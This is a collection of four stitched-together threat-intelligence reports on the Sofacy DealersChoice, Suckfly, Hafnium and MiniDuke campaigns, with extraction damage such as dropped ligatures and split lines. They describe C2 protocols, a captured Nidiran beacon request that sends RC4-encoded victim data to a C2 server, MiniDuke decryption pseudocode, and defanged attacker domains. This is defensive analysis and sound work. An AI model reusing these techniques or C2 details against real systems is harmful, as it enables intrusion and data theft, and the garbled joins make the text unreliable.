2/10 Figure 2 Initial beacon from DealersChoice to its C2 server The C2 responds to the initial beacon with strings that DealersChoices ActionScript uses as variables in upcoming actions, such as additional HTTP requests and the decryption of the responses to those requests.
Figure 3 shows the C2 servers response to the beacon, specifically including  k1, k2, k3 and k4 values.
Figure 3 C2 response to beacon provides DealersChoice tokens and keys needed to decrypt data The ActionScript then uses the k1 variable from the C2 response data as a token within the HTTP request sent back to the C2 server to obtain the malicious SWF file, as seen in Figure 4.
The C2 server will respond to this request with data that the ActionScript will decrypt using the value of the k3 variable.
The active C2 servers provided Variant B with a malicious SWF file that was the same SWF file found within Variant A samples that exploited CVE-2015-7645 (addressed in October 2016 in Adobe Security Bulletin APSA15-05).
c42a0d50eac9399914090f1edc2bda9ac1079edff4528078549c824c4d023ff9 45a4a376cb7a36f8c7851713c7541cb7e347dafb08980509069a078d3bcb1405 3/10 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-7645 https://helpx.adobe.com/security/products/flash-player/apsa15-05.html Figure 4 DealersChoice HTTP request to obtain a malicious SWF file to exploit Adobe Flash Player After receiving the malicious SWF file, Variant B will then issue an HTTP request using the k2 variable as a token to obtain its payload, as seen in Figure 5.
The C2 will respond to this request with data that Variant B will decrypt using the value in the k4 variable as a key.
The resulting decrypted data contains shellcode and a payload that the shellcode decrypts and executes.
Figure 5 DealersChoice HTTP request to obtain shellcode and payload to execute upon successful exploitation The active C2 servers versiontask[.
]com and postlkwarn[.
]com provided shellcode that decrypts and executes a payload which in both cases was a loader Trojan that extracts and decrypts an embedded DLL that it saves to the system.
5dd3066a8ee3ab5b380eb7781c85e4253683cd7e3eee1c29013a7a62cd9bef8c fa8b4f64bff799524f6059c3a4ed5d169e9e7ef730f946ac7ad8f173e8294ed8 4/10 In both cases, the DLL saved to the system is a variant of Sofacys tool that uses the Carberp source code.
82213713cf442716eac3f8c95da8d631aab2072ba44b17dda86873e462e10421 3ff1332a84d615a242a454e5b29f08143b1a89ac9bd7bfaa55ba0c546db10e4b The two variants of the Seduploader tool share a common C2 domain of apptaskserver[.
]com, with differing backup C2 domains of appservicegroup[.
]com and joshel[.
]com.
Ace in the Hole: Analyzing Victim Fingerprinting In the process of analyzing Variant Bs active C2 server, we wanted to test our hypothesis that the C2 server would load different exploit code dependent on victim fingerprinting.
We tested this by providing different responses to the C2 server.
First, we issued requests to the C2 server from a VPN located in California, USA and the server did not respond to the requests.
We then connected to another VPN located in the Middle East and issued the same requests, at which point the C2 server responded with a malicious SWF and payload.
This fact suggests that the Sofacy group uses geolocation to filter out requests that originate from locations that do not coincide with the location of their target.
We then issued several requests to test the C2 and each time the server responded with different k1, k2, k3 and k4 variables, suggesting that the server randomly chooses these values for each inbound request.
To further test the C2 server logic we created requests that contained different values for the operating system and Flash player version.
When we sent the HTTP requests to the C2 server with the Adobe Flash Player version set to 23.0.0.185, the most recent Flash version vulnerable to CVE-2016-7855, the server responded with a compressed SWF file (SHA256: c993c1e10299162357196de33e4953ab9ab9e9359fa1aea00d92e97e7d8c5f2c) that exploited that very vulnerability.
Finally, when we issued requests to the C2 server indicating the victim was a macOS system, the C2 server served the same malicious SWF file and Windows payload as before, suggesting that the Sofacy group is not using DealersChoice to check operating system type for its victims at this time.
In all cases the payload delivered by the C2 server is a loader Trojan (SHA256: 3bb47f37e16d09a7b9ba718d93cfe4d5ebbaecd254486d5192057c77c4a25363) that installs a variant of Seduploader (SHA256: 4cbb0e3601242732d3ea7c89b4c0fd1074fae4a6d20e5f3afc3bc153b6968d6e), which uses a C2 server of akamaisoftupdate[.
]com.
Show Your Hand: Decoy Documents Six documents were collected for this wave of DealersChoice attacks, all appearing to be Variant B, using similar lures to what we had observed in the previous wave.
The six filenames we discovered were: Operation_in_Mosul.rtf  an article about Turkish troops in Mosul NASAMS.doc  a document that is a copy of an article regarding the purchase of a Norwegian missile defense system by the Lithuanian Ministry of National Defence Programm_Details.doc  a document that is a copy of the schedule of a cyber threat intelligence conference in London, targeting a Ministry of Defense of a country in Europe DGI2017.doc  a document targeted at a Ministry of Foreign Affairs of a Central Asian country regarding the agenda for the Defence Geospatial Intelligence gathering in London Olympic-Agenda-2020-20-20-Recommendations.doc  a document containing details of agreements for the 2020 Olympics 5/10 ARM-NATO_ENGLISH_30_NOV_2016.doc  a document outlining an agreement between the Republic of Armenia and NATO Figure 6.
Collected decoy documents for current wave of attacks Unlike the first DealersChoice attacks, these documents used stripped out or forged metadata in order to add in an additional layer of obfuscation.
Two of the documents, NASAMS.doc and Programm_Details.doc shared a common, unique username pain in the Last Saved By field.
Additionally, each of the weaponized documents continued to use the OfficeTestSideloading technique we had previously reported on.
This was the technique we had discovered the Sofacy group began using over this past summer as a way to sideload DLL files using a performance test module built into the Microsoft Office suite as well as maintain persistence on the victim host.
Filename Author Last Saved By Subject SHA256 Operation_in_Mosul.rtf Robert Tasevski - Turkish troops in Mosul f5d3e827 NASAMS.doc  pain Norwegian missile defense system 1f81609d Programm_Details.doc Laci Bonivart pain Conference schedule 1579c7a1 6/10 http://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ DGI2017.doc    Conference schedule c5a389fa Olympic-Agenda-2020-20-20- Recommendations.doc admin User Recommendations for 2020 Olympics 13718586 ARM- NATO_ENGLISH_30_NOV_2016.doc User User NATO agreement 73ea2cce The six first-stage C2 domains for the weaponized documents were all registered by unique registrant emails.
Versiontask[.
]com and Uniquecorpind[.
]com appear to be completely new infrastructure, not sharing any artifacts with previously observed Sofacy group campaigns.
Type Domain Date Registered Registrant Email First stage C2 Versiontask[.
]com 2016-10-24 dalchi0europe.com First stage C2 Uniquecorpind[.
]com 2016-10-25 yasinermyself.com First stage C2 Securityprotectingcorp[.
]com 2016-08-19 ottis.davisopenmailbox.org First stage C2 Postlkwarn[.
]com 2016-11-11 fradbleccentrum.cz First stage C2 adobeupgradeflash[.
]com 2016-11-22 nuevomensajecentrum.cz First stage C2 globalresearching[.
]org 2016-11-18 carroz.gmail.com Six second stage C2 domains for the Seduploader payloads delivered by DealersChoice were identified.
Type Domain Date Registered Registrant Email Seduploader C2 Joshel[.
]com 2016-11-11 germsuz86centrum.cz Seduploader C2 Appservicegroup[.
]com 2016-10-19 olivier_servgrmail.com Seduploader C2 Apptaskserver[.
]com 2016-10-22 partanencompmail.com Seduploader C2 Akamaisoftupdate[.
]com 2016-10-26 mahuuddcentrum.cz Seduploader C2 globaltechresearch[.
]org 2016-11-21 morata_almail.com Seduploader C2 researchcontinental[.
]org 2016-12-02 Sinkholed Much like the first stage C2 domains, the five non-sinkholed second stage C2 domains were registered recently and used unique registrant email addresses previously unused by the Sofacy group.
However, each of these domains used nameservers commonly associated with the Sofacy group, ns.carbon2u[.
]com and ns.ititch[.
]com.
The domain akamaisoftupdate[.
]com revealed additional artifacts linking it back to previous Sofacy group campaigns.
Based off passive DNS data, we discovered akamaisoftupdate[.
]com resolving to 89.45.67.20.
On the same class C 7/10 subnet, we discovered 89.45.67.189, which previously had resolved to updmanager[.
]net, a well reported domain in use by the Sofacy group.
The domain securityprotectingcorp[.
]com was also found to have links to previous Sofacy group infrastructure.
It was registered a couple of months prior, but analysis of the registrant email address revealed that it had also been used to register microsoftsecurepolicy[.
]org, which using passive DNS data we found had resolved to 40.112.210.240, a sinkhole with several other Sofacy group associated domains.
Several of the corresponding sinkholed domains have been used over the years for multiple purposes by the Sofacy group, as C2s for multiple tools such as Azzy or XAgent, or to host phishing sites to gather credentials from targets.
Figure 7 Chart of DealersChoice infrastructure Conclusion It appears evident at this time that the Sofacy group is actively using the DealersChoice tool, specifically the Variant B, to attack targets of interest.
As evidenced by the delivery of exploit code for a recently patched  vulnerability in Flash (which was used in zero-day attacks), we can see how the malware provides flexibility in exploitation methodology and is truly a platform in itself.
New infrastructure does appear to have been created for DealersChoice, but as we have seen in the past, the Sofacy group has a tendency to reuse artifacts from previous campaigns and this is no exception.
Palo Alto Networks customers may learn more and are protected via: Correctly identify associated samples as malicious in WildFire DealersChoice domains and C2 traffic are classified as malicious 8/10 Traps correctly identifies and prevents exploit code to be executed A DealersChoice AutoFocus tag may be used to identify and track this malware family Note that even though CVE-2016-7855 was a zero-day vulnerability, Palo Alto Networks customers would have been protected by our Traps endpoint agent as seen in Figure 8.
Figure 8 Palo Alto Networks Traps blocking exploitation of the CVE-2016-7855 vulnerability Indicators of Compromise Document Hashes: f5d3e827c3a312d018ef4fcbfc7cb5205c9e827391bfe6eab697cc96412d938e 1f81609d9bbdc7f1d2c8846dcfc4292b3e2642301d9c59130f58e21abb0001be 1579c7a1e42f9e1857a4d1ac966a195a010e1f3d714d68c598a64d1c83aa36e4 c5a389fa702a4223aa2c2318f38d5fe6eba68c645bc0c41c3d8b6f935eab3f64 137185866649888b7b5b6554d6d5789f7b510acd7aff3070ac55e2250eb88dab 73ea2ccec2cbf22d524f55b101d324d89077e5718922c6734fef95787121ff22 DealersChoice C2s: Versiontask[.
]com Uniquecorpind[.
]com Securityprotectingcorp[.
]com postlkwarn[.
]com adobeupgradeflash[.
]com researchcontinental[.
]org Seduploader C2s: 9/10 https://autofocus.paloaltonetworks.com//tag/Unit42.DealersChoice Appservicegroup[.
]com Apptaskserver[.
]com Akamaisoftupdate[.
]com Joshel[.
]com globaltechresearch[.
]org researchcontinental[.
]org 10/10 Let It Ride: The Sofacy Groups DealersChoice Attacks Continue Deal Me In: Finding Live C2 Servers Ace in the Hole: Analyzing Victim Fingerprinting Show Your Hand: Decoy Documents Conclusion Indicators of Compromise
2  33 (http://en-us.reddit.com/submit?urlhttp://www.symantec.com/connect/blogs/indian- organizations-targeted-sucky-attacks) (/connect/forward?pathnode/undened) Indian organizations targeted in Sucky attacks Sucky conducted long-term espionage campaigns against government and commercial organizations in India.
By: Jon_DiMaggio (/connect/user/jondimaggio) Created 17 May 2016   0 Comments (/connect/)  Blogs (/connect/blogs)  Security Response (/connect/symantec-blogs/symantec-security-response) Security Response  (https://twitter.com/threatintel)  (http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all) Symantec Ocial Blog SYMANTEC EMPLOYEE 0Like 2 2 Votes http://en-us.reddit.com/submit?urlhttp://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks http://www.symantec.com/connect/forward?pathnode/undefined http://www.symantec.com/connect/user/jondimaggio http://www.symantec.com/connect/ http://www.symantec.com/connect/blogs http://www.symantec.com/connect/symantec-blogs/symantec-security-response http://www.symantec.com/connect/ https://twitter.com/threatintel http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all In March 2016, Symantec published a blog on Sucky, an advanced cyberespionage group (http://www.symantec.com/connect/blogs/sucky-revealing-secret-life-your-code-signing-certicates) that conducted attacks against a number of South Korean organizations to steal digital certicates.
Since then we have identied a number of attacks over a two-year period, beginning in April 2014, which we attribute to Sucky.
The attacks targeted high-prole targets, including government and commercial organizations.
These attacks occurred in several dierent countries, but our investigation revealed that the primary targets were individuals and organizations primarily located in India.
While there have been several Sucky campaigns that infected organizations with the groups custom malware Backdoor.
Nidiran (https://www.symantec.com/security_response/writeup.jsp?docid2015- 120123-5521-99), the Indian targets show a greater amount of post-infection activity than targets in other regions.
This suggests that these attacks were part of a planned operation against specic targets in India.
Campaign activity in India The rst known Sucky campaign began in April of 2014.
During our investigation of the campaign, we identied a number of global targets across several industries who were attacked in 2015.
Many of the targets we identied were well known commercial organizations located in India.
These organizations included: One of Indias largest nancial organizations A large e-commerce company The e-commerce companys primary shipping vendor One of Indias top ve IT rms A United States healthcare providers Indian business unit Two government organizations Sucky spent more time attacking the government networks compared to all but one of the commercial targets.
Additionally, one of the two government organizations had the highest infection rate of the Indian targets.
Figure 1 shows the infection rate for each of the targets.
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates https://www.symantec.com/security_response/writeup.jsp?docid2015-120123-5521-99 Figure 1.
Infection rates of Indian targets Indian government org 2 is responsible for implementing network software for dierent ministries and departments within Indias central government.
The high infection rate for this target is likely because of its access to technology and information related to other Indian government organizations.
Suckys attacks on government organizations that provide information technology services to other government branches is not limited to India.
It has conducted attacks on similar organizations in Saudi Arabia, likely because of the access that those organizations have.
Suckys targets are displayed in gure 2 by their industry, which provides a clearer view of the groups operations.
Most of the groups attacks are focused on government or technology related companies and organizations.
Figure 2.
Sucky victims, by industry Sucky attack lifecycle One of the attacks we investigated provided detailed insight into how Sucky conducts its operations.
In 2015, Sucky conducted a multistage attack between April 22 and May 4 against an e-commerce organization based in India.
Similar to its other attacks, Sucky used the Nidiran back door along with a number of hacktools to infect the victims internal hosts.
The tools and malware used in this breach were also signed with stolen digital certicates (http://www.symantec.com/connect/blogs/keeping- your-code-signing-certicate-straight-and-narrow).
During this time the following events took place: http://www.symantec.com/connect/blogs/keeping-your-code-signing-certificate-straight-and-narrow Figure 3.
Sucky attack lifecycle 1.
Suckys rst step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce companys internal network.
We dont have hard evidence of how Sucky obtained information on the targeted user, but we did nd a large open-source presence on the initial target.
The targets job function, corporate email address, information on work related projects, and publicly accessible personal blog could all be freely found online.
2.
On April 22, 2015, Sucky exploited a vulnerability on the targeted employees operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack.
While we know the attackers used a custom dropper to install the back door, we do not know the delivery vector.
Based on the amount of open-source information available on the target, it is feasible that a spear-phishing email may have been used.
3.
After the attackers successfully exploited the employees system, they gained access to the e- commerce companys internal network.
We found evidence that Sucky used hacktools to move latterly and escalate privileges.
To do this the attackers used a signed credential-dumping tool to obtain the victims account credentials.
With the account credentials, the attackers were able to access the victims account and navigate the internal corporate network as though they were the employee.
4.
On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open.
Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured.
It isnt clear why the attackers scanned for hosts with port 40 open because there isnt a common protocol assigned to this port.
Based on Sucky scanning for common ports, its clear that the group was looking to expand its foothold on the e- commerce companys internal network.
5.
The attackers nal step was to exltrate data o the victims network and onto Suckys infrastructure.
While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Sucky was successful in stealing other information.
These steps were taken over a 13-day period, but only on specic days.
While tracking what days of the week Sucky used its hacktools, we discovered that the group was only active Monday through Friday.
There was no activity from the group on weekends.
We were able to determine this because the attackers hacktools are command line driven and can provide insight into when the operators are behind keyboards actively working.
Figure 4 shows the attackers activity levels throughout the week.
Figure 4.
Signed hacktools in use against targets, by day This activity supports our theory, mentioned in the previous Sucky blog (http://www.symantec.com/connect/blogs/sucky-revealing-secret-life-your-code-signing-certicates), that this is a professional organized group.
Suckys command and control infrastructure Sucky made its malware dicult to analyze to prevent their operations from being detected.
However, we were able to successfully analyze Sucky malware samples and extract some of the http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates communications between the Nidiran back door and the Sucky command and control (CC) domains.
We analyzed the dropper, which is an executable that contains the following three les: 1.
dllhost.exe: The main host for the .dll le 2.
iviewers.dll: Used to load encrypted payloads and then decrypt them 3.
msed: The encrypted payload All three les are required for the malware to run correctly.
Once the malware has been executed, it checks to see if it has a connection to the internet before running.
If the connection test is successful, the malware runs and attempts to communicate with the CC domain over ports 443 and 8443.
In the samples we analyzed we found the port and CC information encrypted and hardcoded into the Nidiran malware itself.
The Nidiran back door made the following initial communication request to the Sucky CC domain: GET /gte_ok0/logon.php HTTP/1.1 Accept: / Accept-Encoding: gzip, deate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 1.1.4322 .NET CLR 2.0.50727 .NET CLR 3.0.04506.30 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729) Host: REDACTED Connection: Keep-Alive Cookie: dfe6OIAXUNXWn9CBmFBqtwEEPLzwRGmbMoNR7C0nLcHYaC1tb4fp7ydcZSmVZ1c4akergWcQQ The interesting information being transmitted to the CC server in the initial request is located in the cookie which is comprised of the following: [COOKIE NAME][RC4 ENCRYPTED  B64 ENCODED DATA FROM VICTIM] The key for the RC4 encryption in this sample is the hardcoded string h0le.
Once the cookie data is decoded, Sucky has the network name, hostname, IP address, and the victims operating system information.
Information about the CC infrastructure identied in our analysis of Sucky activity can be seen in Table 1.
Domain Registration IP address Registration date aux.robertstockdill[.
]com kumar.pariyandex[.
]com Unknown April 1, 2014 ssl.2upgrades[.
]com kumar.pariyandex[.
]com 176.58.96.234 July 5, 2014 bss.pvtcdn[.
]com registrarmail.zgsj[.
]com 106.184.1.38 May 19, 2015 ssl.microsoft-security- center[.
]com Whoisguard Unknown July 20, 2015 usv0503.iqservs-jp[.
]com Domainquicca[.
]com 133.242.134.121 August 18, 2014 i.fedora-dns-update[.
]com Whoisguard Unknown Unknown Table.
Sucky CC infrastructure information Conclusion Sucky targeted one of Indias largest e-commerce companies, a major Indian shipping company, one of Indias largest nancial organizations, and an IT rm that provides support for Indias largest stock exchange.
All of these targets are large corporations that play a major role in Indias economy.
By targeting all of these organizations together, Sucky could have had a much larger impact on India and its economy.
While we dont know the motivations behind the attacks, the targeted commercial organizations, along with the targeted government organizations, may point in this direction.
Sucky has the resources to develop malware, purchase infrastructure, and conduct targeted attacks for years while staying o the radar of security organizations.
During this time they were able to steal digital certicates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations.
There is no evidence that Sucky gained any benets from attacking the government organizations, but someone else may have beneted from these attacks.
The nature of the Sucky attacks suggests that it is unlikely that the threat group orchestrated these attacks on their own.
We believe that Sucky will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckys operations.
Protection Symantec has the following detections in place to protect against Suckys malware: Antivirus Backdoor.
Nidiran (https://www.symantec.com/security_response/writeup.jsp?docid2015- 120123-5521-99) Backdoor.
Nidirang1 (http://www.symantec.com/security_response/writeup.jsp?docid2015- 120200-0342-99) Hacktool (http://www.symantec.com/security_response/writeup.jsp?docid2001-081707-2550-99) Exp.
CVE-2014-6332 (https://www.symantec.com/security_response/writeup.jsp?docid2014- 111313-5510-99) Intrusion prevention system Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28032) Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 2 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27813) Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 4 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid70116) Web Attack: OLEAUT32 CVE-2014-6332 3 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28890) System Infected: Trojan.
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1/2 March 2, 2021 New nation-state cyberattacks blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks Today, were sharing information about a state-sponsored threat actor identified by the Microsoft Threat Intelligence Center (MSTIC) that we are calling Hafnium.
Hafnium operates from China, and this is the first time were discussing its activity.
It is a highly skilled and sophisticated actor.
Historically, Hafnium primarily targets entities in the United States for the purpose of exfiltrating information from a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.
While Hafnium is based in China, it conducts its operations primarily from leased virtual private servers (VPS) in the United States.
Recently, Hafnium has engaged in a number of attacks using previously unknown exploits targeting on-premises Exchange Server software.
To date, Hafnium is the primary actor weve seen use these exploits, which are discussed in detail by MSTIC here.
The attacks included three steps.
First, it would gain access to an Exchange Server either with stolen passwords or by using the previously undiscovered vulnerabilities to disguise itself as someone who should have access.
Second, it would create whats called a web shell to control the compromised server remotely.
Third, it would use that remote access  run from the U.S.-based private servers  to steal data from an organizations network.
Were focused on protecting customers from the exploits used to carry out these attacks.
Today, we released security updates that will protect customers running Exchange Server.
We strongly encourage all Exchange Server customers to apply these updates immediately.
Exchange Server is primarily used by business customers, and we have no evidence that Hafniums activities targeted individual consumers or that these exploits impact other Microsoft products.
Even though weve worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.
Promptly applying todays patches is the best protection against this attack.
In addition to offering new protections for our customers, weve briefed appropriate U.S. government agencies on this activity.
This is the eighth time in the past 12 months that Microsoft has publicly disclosed nation- state groups targeting institutions critical to civil society other activity we disclosed has targeted healthcare organizations fighting Covid-19, political campaigns and others involved in the 2020 elections, and high-profile attendees of major policymaking conferences.
https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/ https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/ https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/ https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/ 2/2 We are encouraged that many organizations are voluntarily sharing data with the world, among each other and with government institutions committed to defense.
Were grateful to researchers at Volexity and Dubex who notified us about aspects of this new Hafnium activity and worked with us to address it in a responsible way.
We need more information to be shared rapidly about cyberattacks to enable all of us to better defend against them.
That is why Microsoft President Brad Smith recently told the U.S. Congress that we must take steps to require reporting of cyber incidents.
The exploits were discussing today were in no way connected to the separate SolarWinds- related attacks.
We continue to see no evidence that the actor behind SolarWinds discovered or exploited any vulnerability in Microsoft products and services.
https://blogs.microsoft.com/on-the-issues/2021/02/23/digital-strategy-defend-the-nation/
2013 Bitdefender 2 A Closer Look at MiniDuke A Closer Look at MiniDuke Authors Marius TIVADAR  Team Leader, Malware Research Br BALZS  Malware Researcher Cristian ISTRATE  Malware Researcher _________________________________________________________________________________ General information: Discovery date: February 27 2013.
Date of the first known sample: June 2011.
Risk: Document exfiltration.
2013 Bitdefender 3 A Closer Look at MiniDuke Table of Contents Table of Contents ...................................................................................................................................................... 3 1.
Overview .............................................................................................................................................................. 5 2.
The Infection Vector ....................................................................................................................................... 6 3.
Samples ............................................................................................................................................................... 6 4.
Packer Intelligence .......................................................................................................................................... 6 5.
Modus Operandi ............................................................................................................................................... 7 5.1 Notations ........................................................................................................................................................ 7 5.2 First installation .......................................................................................................................................... 7 5.3 Post-Install Execution ............................................................................................................................... 7 5.4 The Watermark ........................................................................................................................................... 8 5.4.1 Data layout (for samples dated 2011) ............................................................................................ 9 5.4.2 Data layout (samples in 2012/2013) ........................................................................................... 10 5.5 Removing the Watermark .................................................................................................................... 10 5.5.1 Removal of the watermark through cryptanalysis ................................................................. 11 5.6 Decrypting the Twitter and Google usernames ........................................................................... 11 5.7 Extraction of the secondary Twitter username ........................................................................... 12 The Algorithm ............................................................................................................................................... 12 5.8 Interaction with Twitter ....................................................................................................................... 12 5.8.1 Decoding the Tweets .......................................................................................................................... 13 5.9 Backup mechanism: Google ................................................................................................................. 13 6.
Command and Control ............................................................................................................................... 14 6.1 The Tweets ................................................................................................................................................. 15 6.2 The Communication Protocol ............................................................................................................. 16 6.4 The Encryption Algorithm for .GIF Files ......................................................................................... 17 6.5 Missing information ................................................................................................................................ 17 7.
Malware Versions ......................................................................................................................................... 18 8.
Anti-Reverse Techniques ......................................................................................................................... 19 9.
Payload: Backdoor ....................................................................................................................................... 20 9.1 Samples ........................................................................................................................................................ 20 9.2 The Loader ................................................................................................................................................. 20 9.3 Backdoor commands .............................................................................................................................. 20 2013 Bitdefender 4 A Closer Look at MiniDuke 9.4 Servers ......................................................................................................................................................... 21 10.
Payload: Turkish Backdoor .............................................................................................................. 22 10.1 Sample ....................................................................................................................................................... 22 10.2 Modus Operandi .................................................................................................................................... 22 Appendix A: Process Blacklist ......................................................................................................................... 24 Appendix B: Possible channels used for CC ......................................................................................... 24 Appendix C: Possible MD5 hashes for payloads .................................................................................... 25 Appendix D: E-Mail samples used in attacks ........................................................................................... 26 Appendix E: Twitter accounts ........................................................................................................................... 27 Appendix F: Forged documents ...................................................................................................................... 29 Appendix G: Samples by Year ......................................................................................................................... 34 Table of Figures Figure 1: Infection mechanism .............................................................................................................................. 5 Figure 2: The watermarking process .................................................................................................................. 9 Figure 3: The e-mail bundled with the infected PDF file ......................................................................... 26 2013 Bitdefender 5 A Closer Look at MiniDuke 1.
Overview This piece of malware is made of three components: pdf, main, payload.
The PDF file embeds exploit code and a dropper that writes the main DLL component on the drive.
Additionally, the original PDF also contains a clean PDF file used in the social engineering stage.
Figure 1: Infection mechanism As the malicious PDF file is opened, the Adobe process gets exploited, which results in running the dropper.
In turn, upon the droppers execution, the host process is killed and the clean PDF file gets displayed.
This trick allows the malware to run inconspicuously, without the user noticing that something has happened in the background.
The main DLL file is also loaded and runs in installation mode (see the First Installation section ).
Once installed, the malware calls back home using a URL found via Twitter or Google search query.
When successfully connected, new updates or payloads are installed under the disguise of .gif images.
There may be other infection mechanisms other than PDF files, but they remain unknown at the moment.
2013 Bitdefender 6 A Closer Look at MiniDuke 2.
The Infection Vector Until now, we have only found spreading mechanisms that use social engineering via malicious PDF files sent over e-mail (see Appendix F: Forged documents).
The (Appendix D: E-Mail samples used in attacks) section shows such a sample isolated from a real-life attack.
The following exploits have been used to trigger the infection: 2012 CVE-2011-2462 2013 CVE-2013-0640 The infection vector for the samples dated 2011 is unknown.
3.
Samples The list of known samples is available in the Samples by Year Appendix .
4.
Packer Intelligence The file contains four or five sections with standard names such as: .text, .data, .reloc, .edata, .rdata.
The packer code is relatively small ( 1024 bytes).
It is encrypted and located in the .text section.
The packer is used to decrypt the main code located in the largest section - usually .data or .rdata.
The DLL file only exports one function with a random name.
Decryption Code  buffer of the encrypted code length  len(Code) i  length for b in Code: v  ROL(b, i) length store decrypted value (v) i  i - 1 2013 Bitdefender 7 A Closer Look at MiniDuke 5.
Modus Operandi 5.1 Notations SHA1 : SHA1 (probably modified) area1 : a 16-byte zone in the malicious file which holds the query string for Google.
area2 : a 128-byte zone in the malicious file which holds the encrypted Twitter link.
5.2 First installation This is the case when the malware is started by the dropper.
The malware awaits for the user to interact with the computer and verifies the input from mouse or keyboard in an endless loop.
In the first step, the watermark is applied, as described in the Watermark  section.
After the watermark is applied, the malware re-computes the files checksum by using the CheckSumMappedFile() function.
The file is dropped with a name randomly chosen from a list in the ALLUSERSPROFILE\ Application Data folder set to automatically start after reboot as described below: for samples in 2011/2012: the malware modifies the Shell key in Software\Microsoft\Windows NT\CurrentVersion\Winlogon.
The key holds an environment variable which is set to rundll32.exe path_to_dll, export_name.
for samples collected in 2013: the malware adds a .lnk file to the Startup directory, which would execute the dll using rundll32.exe.
If there is already a variant of the malware installed before the copy process, the new malware deletes it and creates another combination of names, as well as a new environment variable or .lnk file.
5.3 Post-Install Execution In this stage, the malicious binary checks if the image is rundll32 - and therefore if it is run on the system through the .lnk file set in the Startup folder or if it is run from the environment variable.
Then, a thread is created in which the OpenInputDesktop() function is called in an endless loop with a sleep interval of 5 seconds.
The malware then waits for user interaction by checking input from the mouse or keyboard.
The binary also checks the current date, but only uses the current week of the month, the current month and year.
The sample from 2011 checks for the current date using http://tycho.usno.navy.mil/cgi- bin/timer.pl The sample from 2012 checks for the current date using http://www.time- server.org/gettime.php?countryChina 2013 Bitdefender 8 A Closer Look at MiniDuke The samples compiled in 2013 get the current date from the operating system.
The malware then removes the watermark, decrypts the data section and attempts to access the Twitter and Google accounts.
When either of the sites respond, it interprets the received data and decodes the tweets.
When the tweet is decoded, the malware connects to the command and control server in the message and send information about the infected system.
The malware then awaits for a response from the command and control center, which comes as an encrypted GIF file.
Upon decryption, the malware extracts the embedded payload and runs it.
The payload is often an update.
After the task has completed, the malware stops.
Its execution only lasts until it manages to connect to a Twitter account, then it exits, in order to increase its chances of staying undetected.
However, it still runs for a little while upon every operating system boot.
The analysis we carried inside the lab reveals that the payloads are not persistent on disk.
We presume that they are downloaded from a specific location whenever the system boots up.
5.4 The Watermark When the malware is ran via rundll32.exe upon the first boot, it creates a copy of itself named as tempfile.dat (in some samples) and would mark the executable file in order to prevent it from correctly running on other systems.
This watermarking process involves the modification of two already encrypted data areas at the end of the executable file.
The first encrypted area is 0x80 bytes large and holds the encrypted Twitter link.
For samples dated 2011, this area starts with encrypted(http://twitter.com/username) For samples dated 2012-2013, the area starts with encrypted(https://mobile.twitter.com/username) 2013 Bitdefender 9 A Closer Look at MiniDuke Figure 2: The watermarking process The switch to mobile.twitter has been done on purpose in order to keep the data traffic to a minimum when a connection with Twitter is made.
Also worth mentioning is the fact that the variants we discovered as dated 2012/2013 are connecting via HTTPS.
The second area is 0x10 bytes long and holds an encrypted string that is used to perform a Google query for samples from 2012/2013.
Depending on the string and the current date, a second Twitter handle is generated.
The sample dated 2011 does not feature this Google search mechanism.
The data areas dont start at a specific offset.
In order to find them, the malware iterates them from their end and looks for the first byte that is not zero.
This would be the last byte from the small area (which is 0x10 bytes large).
From here on, it can compute where the larger data area is located in the file.
After the malware has identified the area offsets, it would start encrypting them.
A hash is also computed on specific pieces of system information and will be used in the encryption process.
5.4.1 Data layout (for samples dated 2011) The malware enumerates every network interface, isolates the first DWORD in the description and writes it to the buffer.
GetIfTable(interfaces) for (i  0 i  interfaces.count i)  Buff[i]  (DWORD)interfaces[i].bDescription  2013 Bitdefender 10 A Closer Look at MiniDuke The result is overwritten to the previously collected data.
This behavior is probably triggered by a bug.
5.4.2 Data layout (samples in 2012/2013) typedef struct COMPUTER_INFO  DWORD dwSerialNumber // found with a GetVolumeInformation call DWORD dwCPUID // found with the CPUID instruction char ComputerName[MAX_COMPUTER_NAME_LENGTH  1] COMPUTER_INFO, PCOMPUTER_INFO The data is padded with zeros in order to achieve a block of 0x40 bytes.
A SHA-1 hash is then computed on these bytes, which is then used to modify the small data area (area1).
((
